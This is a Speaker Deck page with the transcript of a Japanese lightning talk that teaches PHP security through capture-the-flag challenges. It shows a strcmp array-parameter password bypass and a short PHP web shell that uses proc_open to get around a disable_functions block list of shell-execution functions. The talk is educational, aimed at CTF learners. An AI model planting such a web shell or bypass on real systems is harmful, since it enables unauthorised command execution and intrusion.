Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CTFで学ぶPHPセキュリティ
Search
Sponsored
·
Your Podcast. Everywhere. Effortlessly.
Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
→
Ryoto Saito
March 31, 2019
Programming
4.4k
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CTFで学ぶPHPセキュリティ
PHPerKaigi 2019
ルーキーズLT
Ryoto Saito
March 31, 2019
More Decks by Ryoto Saito
See All by Ryoto Saito
コンテナ上シェル悪用の話とPure Bashでcurlが作れた話
ryotosaito
2
700
シェル芸のせかい / the Shellgei World
ryotosaito
2
1.9k
Other Decks in Programming
See All in Programming
Kiroで創り、AgentCoreで繋ぐ!AWSで実践する「AI-DLC」から「AIエージェント統合」までの最新地図
licux
4
680
How I Stole PSI from Android Studio - DroidKaigi2026
worker8
0
130
JPUG勉強会 OSSデータベースの内部構造を理解しよう(第2回)
oga5
0
220
Java 27新機能 / Java 27 new features
kishida
2
140
AGENTS.md Is Not Enough:Build Skills, Don't Download Them
lx_t
0
120
大喜利で理解するLLM as a Judge / Understanding LLM-as-a-Judge through Ogiri
rockname
0
100
速く作れる。その次は、速く確かめられる開発へ 〜AIネイティブ開発を支える、Shift Down〜 / Can build fast. Next, moving to development where we can verify fast.
rkaga
4
2.4k
海上で動くGoサーバー: goroutineとchannelでさばく航行データストリーム
atsuki_seo
0
690
Family mrubyの進捗
kishima
1
120
新卒PdEのリアル
ryu1013
1
500
モバイル交通系ICへのチャージ実例から考える、クロスプラットフォーム開発におけるiOS実機テスト設計とCI運用
yusuga
1
470
Starting & Sustaining Code-Based E2E Testing for Non-Coding QA Teams( #jasstniigata )
teyamagu
PRO
1
190
Featured
See All Featured
Lightning talk: Run Django tests with GitHub Actions
sabderemane
0
250
Discover your Explorer Soul
emna__ayadi
2
1.3k
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
12
1.8k
Redefining SEO in the New Era of Traffic Generation
szymonslowik
1
420
The AI Search Optimization Roadmap by Aleyda Solis
aleyda
1
6.2k
The Organizational Zoo: Understanding Human Behavior Agility Through Metaphoric Constructive Conversations (based on the works of Arthur Shelley, Ph.D)
kimpetersen
PRO
0
450
How to Think Like a Performance Engineer
csswizardry
28
2.8k
The World Runs on Bad Software
bkeepers
PRO
72
12k
Future Trends and Review - Lecture 12 - Web Technologies (1019888BNR)
signer
PRO
0
3.7k
Rebuilding a faster, lazier Slack
samanthasiow
85
9.6k
SEO for Brand Visibility & Recognition
aleyda
0
4.7k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.8k
Transcript
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
CTF - Capture the Flag 2
CTF Capture the Flag • FPSのゲームルール の1種 • 敵陣のフラッグを自陣 に持ち帰る
• 由来は物理的な遊び • 転じて… 3
CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技
※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング
Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Webの CTF 情報セキュリティ的に脆弱な「何か」 • 「Webサイト」 • 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり
7
CTFのPHP問題例 - 実際の問題の一部分 - 8
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
言語仕様に関する問題 11
言語仕様に関する問題 12
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);
http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 <?php phpinfo(); disable_functions pcntl_exec, exec, popen, passthru, shell_exec, system
目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 16
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行
19
Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",
"w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
CTFに興味が湧いてきた人は! 21
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) • https://www.root-me.org/en/Challenges/Web-Server/ • http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加!
• https://ctftime.org
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Thank you! @systemctl_ryoto 24